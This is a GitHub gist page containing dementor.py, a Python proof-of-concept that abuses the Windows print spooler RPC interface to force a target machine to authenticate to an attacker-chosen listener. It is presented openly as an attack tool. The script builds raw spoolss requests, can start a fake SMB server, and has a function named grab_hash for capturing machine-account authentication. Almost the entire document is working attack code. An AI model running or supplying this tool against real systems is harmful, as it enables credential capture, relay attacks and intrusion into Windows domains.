Skip to content

Instantly share code, notes, and snippets.

@hagen3000
Forked from 3xocyte/dementor.py
Created August 23, 2019 23:29
Show Gist options
  • Select an option

  • Save hagen3000/06d857c91b05c09c89d3e469fd84cd89 to your computer and use it in GitHub Desktop.

Select an option

Save hagen3000/06d857c91b05c09c89d3e469fd84cd89 to your computer and use it in GitHub Desktop.

Revisions

  1. Matt Bush revised this gist Oct 7, 2018. 1 changed file with 1 addition and 0 deletions.
    1 change: 1 addition & 0 deletions dementor.py
    Original file line number Diff line number Diff line change
    @@ -1,6 +1,7 @@
    #!/usr/bin/env python

    # abuse cases and better implementation from the original discoverer: https://github.com/leechristensen/SpoolSample
    # some code from https://www.exploit-db.com/exploits/2879/

    import os
    import sys
  2. Matt Bush revised this gist Oct 6, 2018. 1 changed file with 2 additions and 0 deletions.
    2 changes: 2 additions & 0 deletions dementor.py
    Original file line number Diff line number Diff line change
    @@ -1,5 +1,7 @@
    #!/usr/bin/env python

    # abuse cases and better implementation from the original discoverer: https://github.com/leechristensen/SpoolSample

    import os
    import sys
    import argparse
  3. Matt Bush created this gist Oct 6, 2018.
    304 changes: 304 additions & 0 deletions dementor.py
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,304 @@
    #!/usr/bin/env python

    import os
    import sys
    import argparse
    import binascii
    import ConfigParser
    from time import sleep
    from threading import Thread
    from impacket import smbserver, smb
    from impacket.dcerpc.v5 import transport
    from impacket.structure import Structure
    from impacket.uuid import uuidtup_to_bin

    MSRPC_UUID_SPOOLSS = uuidtup_to_bin(('12345678-1234-ABCD-EF00-0123456789AB', '1.0'))
    target = ''
    listener = ''
    debug = False

    show_banner = """
    **
    ** *
    ** **
    ** **
    ** ******** **** *** ****
    *** ** *** *** **** **** *** *** **** ******** * *** * **** **** *
    ********* * *** *** **** *** * * *** **** **** * ** * **** ** ****
    ** **** * *** ** **** **** * *** ** **** ** ** ** **
    ** ** ** *** ** ** ** ** *** ** ** ** ** ** **
    ** ** ******** ** ** ** ******** ** ** ** ** ** **
    ** ** ******* ** ** ** ******* ** ** ** ** ** **
    ** ** ** ** ** ** ** ** ** ** ** ** **
    ** ** **** * ** ** ** **** * ** ** ** ****** ***
    ***** ******* *** *** *** ******* *** *** ** **** ***
    *** ***** *** *** *** ***** *** ***
    rough PoC to connect to spoolss to elicit machine account authentication
    implementation by @3xocyte, idea/discovery by @tifkin_, rediscovery and
    code fixes for Windows 10/2016 by @elad_shamir
    """

    # printer and listener struct
    class type1(Structure):
    alignment = 4
    structure = (
    ('id', '<L'), # printer name referent ID
    ('max', '<L'),
    ('offset', '<L=0'),
    ('actual', '<L'),
    ('str', '%s'),
    )

    # client and user struct
    class type2(Structure):
    alignment = 4
    structure = (
    ('max', '<L'),
    ('offset', '<L=0'),
    ('actual', '<L'),
    ('str', '%s'),
    )

    # create RpcOpenPrinterEx struct
    class OpenPrinterEx(Structure):
    alignment = 4
    opnum = 69
    structure = (
    ('printer', ':', type1),
    ('null', '<L=0'),
    ('str', '<L=0'),
    ('null2', '<L=0'),
    ('access', '<L=0x00020002'),
    ('level', '<L=1'),
    ('id1', '<L=1'),
    ('level2', '<L=131076'), # user level 1 infolevel
    ('size', '<L=28'),
    ('id2', '<L=0x00020008'), # client referent id
    ('id3', '<L=0x0002000c'), # user referent id
    ('build', '<L=8000'),
    ('major', '<L=0'),
    ('minor', '<L=0'),
    ('processor', '<L=0'),
    ('client', ':', type2),
    ('user', ':', type2),
    )

    # partialy create RemoteFindFirstPrinterChangeNotificationEx struct
    class RemoteFindFirstPrinterChangeNotificationEx(Structure):
    alignment =4
    opnum = 65
    structure = (
    ('flags', '<L=0'),
    ('options', '<L=0'),
    ('server', ':', type1),
    ('local','<L=123'), # Printer local
    )

    class SMBServer(Thread):
    def __init__(self):
    Thread.__init__(self)
    self.smb = None

    def run(self):
    # mini config for the server
    smbConfig = ConfigParser.ConfigParser()
    smbConfig.add_section('global')
    smbConfig.set('global', 'server_name','server_name')
    smbConfig.set('global', 'server_os','Windows')
    smbConfig.set('global', 'server_domain','WORKGROUP')
    smbConfig.set('global', 'log_file','')
    smbConfig.set('global', 'credentials_file','')
    smbConfig.set("global", 'SMB2Support', 'True')

    # fake ipc$
    smbConfig.add_section('IPC$')
    smbConfig.set('IPC$', 'comment', '')
    smbConfig.set('IPC$', 'read only', 'yes')
    smbConfig.set('IPC$', 'share type', '3')
    smbConfig.set('IPC$', 'path')

    self.smb = smbserver.SMBSERVER(('0.0.0.0',445), config_parser = smbConfig)
    self.smb.processConfigFile()
    # unregister dangerous commands
    self.smb.unregisterSmbCommand(smb.SMB.SMB_COM_CREATE_DIRECTORY)
    self.smb.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE_DIRECTORY)
    self.smb.unregisterSmbCommand(smb.SMB.SMB_COM_RENAME)
    self.smb.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE)
    self.smb.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE)
    self.smb.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE_ANDX)

    try:
    self.smb.serve_forever()
    except:
    pass

    def stop(self):
    self.smb.socket.close()
    self.smb.server_close()
    self._Thread__stop()

    # build RpcOpenPrinterEx() struct
    def open_printer(username, client):
    query = OpenPrinterEx()
    printer = "\\\\%s\x00" % (target) # blank printer
    query['printer'] = type1()
    query['printer']['id'] = 0x00020000 # referent ID for printer
    query['printer']['max'] = len(printer) # printer max size
    query['printer']['actual'] = len(printer) # printer actual size
    query['printer']['str'] = printer.encode('utf_16_le')
    query['client'] = type2()
    query['client']['max'] = len(client)
    query['client']['actual'] = len(client)
    query['client']['str'] = client.encode('utf_16_le')
    query['user'] = type2()
    query['user']['max'] = len(username)
    query['user']['actual'] = len(username)
    query['user']['str'] = username.encode('utf_16_le')
    return query

    # partially build RpcRemoteFindFirstPrinterChangeNotificationEx() struct
    def rffpcnex():
    query = RemoteFindFirstPrinterChangeNotificationEx()
    server = '\\\\%s\x00' % (listener) # server
    query['server'] = type1()
    query['server']['id'] = 0x41414141 # referent ID for server
    query['server']['max'] = len(server) # server name max size
    query['server']['actual'] = len(server) # server name actual size
    query['server']['str'] = server.encode('utf_16_le')
    return query

    def call_open_printer(dce, user, client):
    global debug
    print "[*] getting context handle..."
    query = open_printer(user,client)
    try:
    dce.call(query.opnum, query)
    raw = dce.recv()
    if debug == True: print "[*] raw response: " + binascii.hexlify(raw)
    handle = raw[:20]
    if debug == True: print "[*] handle is: " + binascii.hexlify(handle)
    except Exception as e:
    print "[*] exception " + str(e)
    dce.disconnect()
    sys.exit()
    return handle

    def grab_hash(dce, handle):
    global debug
    print "[*] sending RFFPCNEX..."
    # because I'm lazy
    options_container = (''
    '\x04\x00\x02\x00' # referent id
    '\x02\x00\x00\x00' # version
    '\xce\x55\x00\x00' # flags
    '\x02\x00\x00\x00' # count
    # notify options blob to unpack another day
    '\x08\x00\x02\x00\x02\x00\x00\x00\x00\x00\xce\x55\x00\x00'
    '\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0c\x00\x02\x00'
    '\x01\x00\x00\x00\xe0\x11\xbd\x8f\xce\x55\x00\x00\x01\x00'
    '\x00\x00\x10\x00\x02\x00\x01\x00\x00\x00\x00\x00\x00\x00'
    '\x01\x00\x00\x00\x00\x00'
    )
    # call function to get method core
    query = rffpcnex()
    # hack to compensate for laziness
    full_query = handle
    full_query += str(query)
    full_query += options_container

    try:
    dce.call(query.opnum, full_query)
    raw = dce.recv()
    if debug == True: print "[*] raw response: " + binascii.hexlify(raw)
    except Exception as e:
    print "[*] exception " + str(e)
    dce.disconnect()
    sys.exit()

    def create_connection(domain, username, password, ntlm):
    # set up connection prereqs
    # creds
    creds={}
    creds['username'] = username
    creds['password'] = password
    creds['domain'] = domain
    creds['nthash'] = ntlm
    # to transport
    stringBinding = r'ncacn_np:%s[\pipe\spoolss]' % target
    rpctransport = transport.DCERPCTransportFactory(stringBinding)
    if hasattr(rpctransport, 'set_credentials'):
    rpctransport.set_credentials(creds['username'], creds['password'], creds['domain'], creds['nthash'])
    dce = rpctransport.get_dce_rpc()
    # actually connect
    print "[*] connecting to %s" % target
    try:
    dce.connect()
    except Exception as e:
    if "STATUS_ACCESS_DENIED" in str(e):
    print "[*] access denied"
    sys.exit()
    else:
    print "[*] unhandled exception occured: " + str(e)
    sys.exit()
    # defines the printer endpoint
    try:
    dce.bind(MSRPC_UUID_SPOOLSS)
    except Exception as e:
    print "[*] unhandled exception: " + str(e)
    sys.exit()
    print "[+] bound to spoolss"
    return dce

    def main():

    # globals
    global target
    global listener
    global debug
    global show_banner

    parser = argparse.ArgumentParser(add_help = True, description = "dementor - rough PoC to connect to spoolss to elicit machine account authentication (implementation by @3xocyte, idea/discovery by @tifkin_, rediscovery and code fixes by @elad_shamir)")
    parser.add_argument('-u', '--username', action="store", default='', help='valid username')
    parser.add_argument('-p', '--password', action="store", default='', help='valid password')
    parser.add_argument('-d', '--domain', action="store", default='', help='valid domain name')
    parser.add_argument('--ntlm', action="store", default='', help='nt hash')
    parser.add_argument('--server', action='store_true', default=False, help='create smb listener')
    parser.add_argument('--debug', action="store_true", default=False, help='enable debugging')
    parser.add_argument('-q', '--banner', action="store_true", default=False,help='show banner')
    parser.add_argument('listener', help='ip address or hostname of listener')
    parser.add_argument('target', help='ip address or hostname of target')

    options = parser.parse_args()

    domain = options.domain
    username = options.username
    password = options.password
    ntlm = options.ntlm
    server = options.server
    listener = options.listener
    target = options.target
    debug = options.debug
    banner = options.banner

    if banner == True:
    print show_banner

    if server == True:
    print "[*] starting smb server..."
    server_thread = SMBServer()
    server_thread.daemon = True
    server_thread.start()
    sleep(1) # ensure server starts before continuing
    print "[+] server running"

    dce = create_connection(domain, username, password, ntlm)
    handle = call_open_printer(dce, domain+"\\"+username+"\x00", listener+"\x00")
    grab_hash(dce, handle)
    print "[+] done!"
    dce.disconnect()
    sys.exit()

    if __name__ == '__main__':
    main()